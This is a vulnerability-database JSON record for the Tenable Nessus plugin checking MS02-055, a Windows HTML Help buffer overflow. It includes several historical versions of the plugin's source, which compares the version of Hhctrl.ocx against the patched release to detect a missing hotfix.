{"id": "SMB_NT_MS02-055.NASL", "bulletinFamily": "scanner", "title": "MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)", "description": "The remote host contains a version of the HTML Helpfacility ActiveX control module that could allow an attacker to execute arbitrary code on the remote host by constructing a malicious web page and enticing a victim to visit it.", "published": "2002-10-24T00:00:00", "modified": "2018-11-15T00:00:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://www.tenable.com/plugins/index.php?view=single&id=11147", "reporter": "Tenable", "references": ["https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2002/ms02-055"], "cvelist": ["CVE-2002-0694", "CVE-2002-0693"], "type": "nessus", "lastseen": "2019-02-21T01:07:45", "history": [{"bulletin": {"bulletinFamily": "scanner", "cpe": ["cpe:/o:microsoft:windows"], "cvelist": ["CVE-2002-0694", "CVE-2002-0693"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "The remote host contains a version of the HTML Helpfacility ActiveX\ncontrol module that could allow an attacker to execute arbitrary code on\nthe remote host by constructing a malicious web page and enticing a\nvictim to visit it.", "edition": 11, "enchantments": {"dependencies": {"modified": "2019-01-16T20:05:17", "references": [{"idList": ["OSVDB:2992", "OSVDB:867"], "type": "osvdb"}, {"idList": ["OPENVAS:136141256231011147", "OPENVAS:11147"], "type": "openvas"}, {"idList": ["CVE-2002-0694", "CVE-2002-0693"], "type": "cve"}, {"idList": ["EDB-ID:21902"], "type": "exploitdb"}]}, "score": {"value": 7.5, "vector": "NONE"}}, "hash": "fc1dabb4dab9eb6c3360ed0d6a828abbdfef71279ba7cac2111f9f4b4b46bbbe", "hashmap": [{"hash": "2133d1a402acc193d7b90178dc1f7602", "key": "sourceData"}, {"hash": "9cf00d658b687f030ebe173a0528c567", "key": "reporter"}, {"hash": "5b5c5b741060d072140641b3879412b0", "key": "references"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "015cb78ce50d3bd4e2fbe18f25603329", "key": "modified"}, {"hash": "397a33b7a8af8df9418a0c5e51e9dc18", "key": "published"}, {"hash": "425637eb16dcc15cff3a27b7018c1437", "key": "title"}, {"hash": "c9898bc973bfffca5119f1a3bfa73a8d", "key": "naslFamily"}, {"hash": "f119fcbd597f778cfd79bca12af8db90", "key": "cpe"}, {"hash": "6ae8bf61cabce831194b91a641f60dae", "key": "description"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "5e0bd03bec244039678f2b955a2595aa", "key": "type"}, {"hash": "be611e2150260d71ee3fc3f93ea2a5bd", "key": "href"}, {"hash": "eed054ecd7a0a544cf73292836023ffe", "key": "pluginID"}, {"hash": "a1cdd73b9fb62492766693218d5065e5", "key": "cvelist"}], "history": [], "href": "https://www.tenable.com/plugins/index.php?view=single&id=11147", "id": "SMB_NT_MS02-055.NASL", "lastseen": "2019-01-16T20:05:17", "modified": "2018-11-15T00:00:00", "naslFamily": "Windows : Microsoft Bulletins", "objectVersion": "1.3", "pluginID": "11147", "published": "2002-10-24T00:00:00", "references": ["https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2002/ms02-055"], "reporter": "Tenable", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(11147);\n script_version(\"1.44\");\n script_cvs_date(\"Date: 2018/11/15 20:50:29\");\n\n script_cve_id(\"CVE-2002-0693\", \"CVE-2002-0694\");\n script_bugtraq_id(4387, 5872, 5874);\n script_xref(name:\"MSFT\", value:\"MS02-055\");\n script_xref(name:\"MSKB\", value:\"323255\");\n\n script_name(english:\"MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)\");\n script_summary(english:\"Checks for MS Hotfix Q323255, Unchecked Buffer in Windows Help facility\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the web\nclient.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a version of the HTML Helpfacility ActiveX\ncontrol module that could allow an attacker to execute arbitrary code on\nthe remote host by constructing a malicious web page and enticing a\nvictim to visit it.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2002/ms02-055\");\n script_set_attribute(attribute:\"solution\", value:\"Microsoft has released a set of patches for Windows NT, 2000 and XP.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2002/10/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS02-055';\nkb = '323255';\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(nt:'6', win2k:'1,3', xp:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"5.1\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n\n\n", "title": "MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)", "type": "nessus", "viewCount": 1}, "differentElements": ["description"], "edition": 11, "lastseen": "2019-01-16T20:05:17"}, {"bulletin": {"bulletinFamily": "scanner", "cpe": ["cpe:/o:microsoft:windows"], "cvelist": ["CVE-2002-0694", "CVE-2002-0693"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "The remote host contains a version of the HTML Helpfacility ActiveX control module that could allow an attacker to execute arbitrary code on the remote host by constructing a malicious web page and enticing a victim to visit it.", "edition": 5, "enchantments": {"score": {"value": 7.5, "vector": "NONE"}}, "hash": "0b0ecb48b4c5de667c3409e18887ed901f6d3c7945263e91e6d1c0b61fc1a997", "hashmap": [{"hash": "295bd1a72971fc6c0d0442eba33df71e", "key": "description"}, {"hash": "e3fbbf79919d557f6be6280638bda671", "key": "references"}, {"hash": "8c7ed08b59f2f5b7c925375c705781a9", "key": "sourceData"}, {"hash": "9cf00d658b687f030ebe173a0528c567", "key": "reporter"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "397a33b7a8af8df9418a0c5e51e9dc18", "key": "published"}, {"hash": "425637eb16dcc15cff3a27b7018c1437", "key": "title"}, {"hash": "4867c03e6d12c34bfe39d32c38729b6e", "key": "modified"}, {"hash": "c9898bc973bfffca5119f1a3bfa73a8d", "key": "naslFamily"}, {"hash": "f119fcbd597f778cfd79bca12af8db90", "key": "cpe"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "5e0bd03bec244039678f2b955a2595aa", "key": "type"}, {"hash": "be611e2150260d71ee3fc3f93ea2a5bd", "key": "href"}, {"hash": "eed054ecd7a0a544cf73292836023ffe", "key": "pluginID"}, {"hash": "a1cdd73b9fb62492766693218d5065e5", "key": "cvelist"}], "history": [], "href": "https://www.tenable.com/plugins/index.php?view=single&id=11147", "id": "SMB_NT_MS02-055.NASL", "lastseen": "2018-07-01T14:22:41", "modified": "2018-06-29T00:00:00", "naslFamily": "Windows : Microsoft Bulletins", "objectVersion": "1.3", "pluginID": "11147", "published": "2002-10-24T00:00:00", "references": ["https://technet.microsoft.com/library/security/ms02-055"], "reporter": "Tenable", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(11147);\n script_version(\"1.41\");\n script_cvs_date(\"Date: 2018/06/29 12:01:03\");\n\n script_cve_id(\"CVE-2002-0693\", \"CVE-2002-0694\");\n script_bugtraq_id(4387, 5872, 5874);\n script_osvdb_id(867, 2992);\n script_xref(name:\"MSFT\", value:\"MS02-055\");\n script_xref(name:\"MSKB\", value:\"323255\");\n\n script_name(english:\"MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)\");\n script_summary(english:\"Checks for MS Hotfix Q323255, Unchecked Buffer in Windows Help facility\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the web\nclient.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a version of the HTML Helpfacility ActiveX\ncontrol module that could allow an attacker to execute arbitrary code on\nthe remote host by constructing a malicious web page and enticing a\nvictim to visit it.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://technet.microsoft.com/library/security/ms02-055\");\n script_set_attribute(attribute:\"solution\", value:\"Microsoft has released a set of patches for Windows NT, 2000 and XP.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2002/10/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS02-055';\nkb = '323255';\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(nt:'6', win2k:'1,3', xp:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"5.1\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n\n\n", "title": "MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)", "type": "nessus", "viewCount": 1}, "differentElements": ["modified", "sourceData"], "edition": 5, "lastseen": "2018-07-01T14:22:41"}, {"bulletin": {"bulletinFamily": "scanner", "cpe": [], "cvelist": ["CVE-2002-0694", "CVE-2002-0693"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "The remote host contains a version of the HTML Helpfacility ActiveX control module that could allow an attacker to execute arbitrary code on the remote host by constructing a malicious web page and enticing a victim to visit it.", "edition": 3, "enchantments": {}, "hash": "3a089b0b4f79e736d5ae9c78066fcbf78a07277df3e23fe2ae0ae1590026ad3f", "hashmap": [{"hash": "295bd1a72971fc6c0d0442eba33df71e", "key": "description"}, {"hash": "e3fbbf79919d557f6be6280638bda671", "key": "references"}, {"hash": "9cf00d658b687f030ebe173a0528c567", "key": "reporter"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "bb9b30e370c1f8f144d5e0163c34075e", "key": "modified"}, {"hash": "397a33b7a8af8df9418a0c5e51e9dc18", "key": "published"}, {"hash": "425637eb16dcc15cff3a27b7018c1437", "key": "title"}, {"hash": "c9898bc973bfffca5119f1a3bfa73a8d", "key": "naslFamily"}, {"hash": "c163202d79ae40187f33f35d67015152", "key": "sourceData"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "5e0bd03bec244039678f2b955a2595aa", "key": "type"}, {"hash": "be611e2150260d71ee3fc3f93ea2a5bd", "key": "href"}, {"hash": "eed054ecd7a0a544cf73292836023ffe", "key": "pluginID"}, {"hash": "a1cdd73b9fb62492766693218d5065e5", "key": "cvelist"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}], "history": [], "href": "https://www.tenable.com/plugins/index.php?view=single&id=11147", "id": "SMB_NT_MS02-055.NASL", "lastseen": "2017-05-27T01:54:13", "modified": "2017-05-26T00:00:00", "naslFamily": "Windows : Microsoft Bulletins", "objectVersion": "1.2", "pluginID": "11147", "published": "2002-10-24T00:00:00", "references": ["https://technet.microsoft.com/library/security/ms02-055"], "reporter": "Tenable", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(11147);\n script_version(\"$Revision: 1.40 $\");\n script_cvs_date(\"$Date: 2017/05/26 15:15:35 $\");\n\n script_cve_id(\"CVE-2002-0693\", \"CVE-2002-0694\");\n script_bugtraq_id(4387, 5872, 5874);\n script_osvdb_id(867, 2992);\n script_xref(name:\"MSFT\", value:\"MS02-055\");\n script_xref(name:\"MSKB\", value:\"323255\");\n\n script_name(english:\"MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)\");\n script_summary(english:\"Checks for MS Hotfix Q323255, Unchecked Buffer in Windows Help facility\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the web\nclient.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a version of the HTML Helpfacility ActiveX\ncontrol module that could allow an attacker to execute arbitrary code on\nthe remote host by constructing a malicious web page and enticing a\nvictim to visit it.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://technet.microsoft.com/library/security/ms02-055\");\n script_set_attribute(attribute:\"solution\", value:\"Microsoft has released a set of patches for Windows NT, 2000 and XP.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2002/10/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2002-2017 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS02-055';\nkb = '323255';\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(nt:'6', win2k:'1,3', xp:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"5.1\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n\n\n", "title": "MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)", "type": "nessus", "viewCount": 0}, "differentElements": ["cpe"], "edition": 3, "lastseen": "2017-05-27T01:54:13"}, {"bulletin": {"bulletinFamily": "scanner", "cvelist": ["CVE-2002-0694", "CVE-2002-0693"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "The remote host contains a version of the HTML Helpfacility ActiveX control module that could allow an attacker to execute arbitrary code on the remote host by constructing a malicious web page and enticing a victim to visit it.", "edition": 1, "hash": "3152262ac8294012416d5b0f93ba6c4c4d00c3e1f3dd1ed0f3a094b1baa56ba2", "hashmap": [{"hash": "295bd1a72971fc6c0d0442eba33df71e", "key": "description"}, {"hash": "e3fbbf79919d557f6be6280638bda671", "key": "references"}, {"hash": "418ec0656ff7f637f28b16388118c9fc", "key": "sourceData"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "9cf00d658b687f030ebe173a0528c567", "key": "reporter"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "397a33b7a8af8df9418a0c5e51e9dc18", "key": "published"}, {"hash": "425637eb16dcc15cff3a27b7018c1437", "key": "title"}, {"hash": "c9898bc973bfffca5119f1a3bfa73a8d", "key": "naslFamily"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "5e0bd03bec244039678f2b955a2595aa", "key": "type"}, {"hash": "62f567f562bbeddeaf1e6db6eec3283c", "key": "modified"}, {"hash": "be611e2150260d71ee3fc3f93ea2a5bd", "key": "href"}, {"hash": "eed054ecd7a0a544cf73292836023ffe", "key": "pluginID"}, {"hash": "a1cdd73b9fb62492766693218d5065e5", "key": "cvelist"}], "history": [], "href": "https://www.tenable.com/plugins/index.php?view=single&id=11147", "id": "SMB_NT_MS02-055.NASL", "lastseen": "2016-09-26T17:26:23", "modified": "2016-05-06T00:00:00", "naslFamily": "Windows : Microsoft Bulletins", "objectVersion": "1.2", "pluginID": "11147", "published": "2002-10-24T00:00:00", "references": ["https://technet.microsoft.com/library/security/ms02-055"], "reporter": "Tenable", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(11147);\n script_version(\"$Revision: 1.38 $\");\n script_cvs_date(\"$Date: 2016/05/06 17:11:37 $\");\n\n script_cve_id(\"CVE-2002-0693\", \"CVE-2002-0694\");\n script_bugtraq_id(4387, 5872, 5874);\n script_osvdb_id(867, 2992);\n script_xref(name:\"MSFT\", value:\"MS02-055\");\n\n script_name(english:\"MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)\");\n script_summary(english:\"Checks for MS Hotfix Q323255, Unchecked Buffer in Windows Help facility\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the web\nclient.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a version of the HTML Helpfacility ActiveX\ncontrol module that could allow an attacker to execute arbitrary code on\nthe remote host by constructing a malicious web page and enticing a\nvictim to visit it.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://technet.microsoft.com/library/security/ms02-055\");\n script_set_attribute(attribute:\"solution\", value:\"Microsoft has released a set of patches for Windows NT, 2000 and XP.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2002/10/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2002-2016 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS02-055';\nkb = '323255';\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(nt:'6', win2k:'1,3', xp:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"5.1\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n", "title": "MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)", "type": "nessus", "viewCount": 0}, "differentElements": ["modified", "sourceData"], "edition": 1, "lastseen": "2016-09-26T17:26:23"}, {"bulletin": {"bulletinFamily": "scanner", "cpe": ["cpe:/o:microsoft:windows"], "cvelist": ["CVE-2002-0694", "CVE-2002-0693"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "The remote host contains a version of the HTML Helpfacility ActiveX control module that could allow an attacker to execute arbitrary code on the remote host by constructing a malicious web page and enticing a victim to visit it.", "edition": 7, "enchantments": {"score": {"value": 7.5, "vector": "NONE"}}, "hash": "db358cbd321d2e9258a3f1bdc93ef710d6cc616812110b4993c49b21dc6385b9", "hashmap": [{"hash": "295bd1a72971fc6c0d0442eba33df71e", "key": "description"}, {"hash": "e3fbbf79919d557f6be6280638bda671", "key": "references"}, {"hash": "3b33040e1ee70c0673ab567f99a67d3f", "key": "modified"}, {"hash": "9cf00d658b687f030ebe173a0528c567", "key": "reporter"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "397a33b7a8af8df9418a0c5e51e9dc18", "key": "published"}, {"hash": "425637eb16dcc15cff3a27b7018c1437", "key": "title"}, {"hash": "c9898bc973bfffca5119f1a3bfa73a8d", "key": "naslFamily"}, {"hash": "f119fcbd597f778cfd79bca12af8db90", "key": "cpe"}, {"hash": "a3017aea3e93989790e3001745ef06d4", "key": "sourceData"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "5e0bd03bec244039678f2b955a2595aa", "key": "type"}, {"hash": "be611e2150260d71ee3fc3f93ea2a5bd", "key": "href"}, {"hash": "eed054ecd7a0a544cf73292836023ffe", "key": "pluginID"}, {"hash": "a1cdd73b9fb62492766693218d5065e5", "key": "cvelist"}], "history": [], "href": "https://www.tenable.com/plugins/index.php?view=single&id=11147", "id": "SMB_NT_MS02-055.NASL", "lastseen": "2018-07-31T04:23:06", "modified": "2018-07-30T00:00:00", "naslFamily": "Windows : Microsoft Bulletins", "objectVersion": "1.3", "pluginID": "11147", "published": "2002-10-24T00:00:00", "references": ["https://technet.microsoft.com/library/security/ms02-055"], "reporter": "Tenable", "sourceData": "#\n# (C) Tenable Network Security, 